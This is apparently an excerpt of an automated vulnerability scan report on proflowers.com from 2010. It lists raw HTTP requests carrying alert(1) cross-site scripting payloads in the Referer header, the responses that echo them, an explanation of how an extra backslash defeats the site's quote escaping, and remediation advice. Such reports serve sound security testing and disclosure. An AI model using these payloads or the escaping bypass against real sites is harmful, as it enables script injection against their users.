GET /birthday-flowers-bir HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=7ccb7\"%3balert(1)//114df965dc1
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:10:08 GMT Connection: close Content-Length: 245005
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_7ccb7\\";alert(1)//114df965dc1";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 284c0\"%3balert(1)//dc9cb17d994 was submitted in the Referer HTTP header. This input was echoed as 284c0\\";alert(1)//dc9cb17d994 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-friend-bd4 HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=284c0\"%3balert(1)//dc9cb17d994
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:09:43 GMT Connection: close Content-Length: 227774
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_284c0\\";alert(1)//dc9cb17d994";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75213\"%3balert(1)//4cb80c67c37 was submitted in the Referer HTTP header. This input was echoed as 75213\\";alert(1)//4cb80c67c37 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-mother-bd2 HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=75213\"%3balert(1)//4cb80c67c37
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:09:01 GMT Connection: close Content-Length: 260883
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_75213\\";alert(1)//4cb80c67c37";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26dcf\"%3balert(1)//91bb5b3fb04 was submitted in the Referer HTTP header. This input was echoed as 26dcf\\";alert(1)//91bb5b3fb04 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-flowers-wife-bd1 HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=26dcf\"%3balert(1)//91bb5b3fb04
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:10:53 GMT Connection: close Content-Length: 287274
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_26dcf\\";alert(1)//91bb5b3fb04";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d04b\"%3balert(1)//c088a59f342 was submitted in the Referer HTTP header. This input was echoed as 9d04b\\";alert(1)//c088a59f342 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-gift-baskets-bdg HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=9d04b\"%3balert(1)//c088a59f342
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:08:34 GMT Connection: close Content-Length: 254667
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_9d04b\\";alert(1)//c088a59f342";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee793\"%3balert(1)//11f0c579de2 was submitted in the Referer HTTP header. This input was echoed as ee793\\";alert(1)//11f0c579de2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday-plants-bdp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=ee793\"%3balert(1)//11f0c579de2
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:08:59 GMT Connection: close Content-Length: 193263
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_ee793\\";alert(1)//11f0c579de2";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d62e3\"%3balert(1)//faf9a137a10 was submitted in the Referer HTTP header. This input was echoed as d62e3\\";alert(1)//faf9a137a10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /bonsaiandtropical-bnt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=d62e3\"%3balert(1)//faf9a137a10
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:51 GMT Connection: close Content-Length: 120335
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_d62e3\\";alert(1)//faf9a137a10";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fbb05\"%3balert(1)//6ced2660339 was submitted in the Referer HTTP header. This input was echoed as fbb05\\";alert(1)//6ced2660339 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /carnations-car HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=fbb05\"%3balert(1)//6ced2660339
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:47 GMT Connection: close Content-Length: 109008
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_fbb05\\";alert(1)//6ced2660339";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22298\"%3balert(1)//82cb355d40b was submitted in the Referer HTTP header. This input was echoed as 22298\\";alert(1)//82cb355d40b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
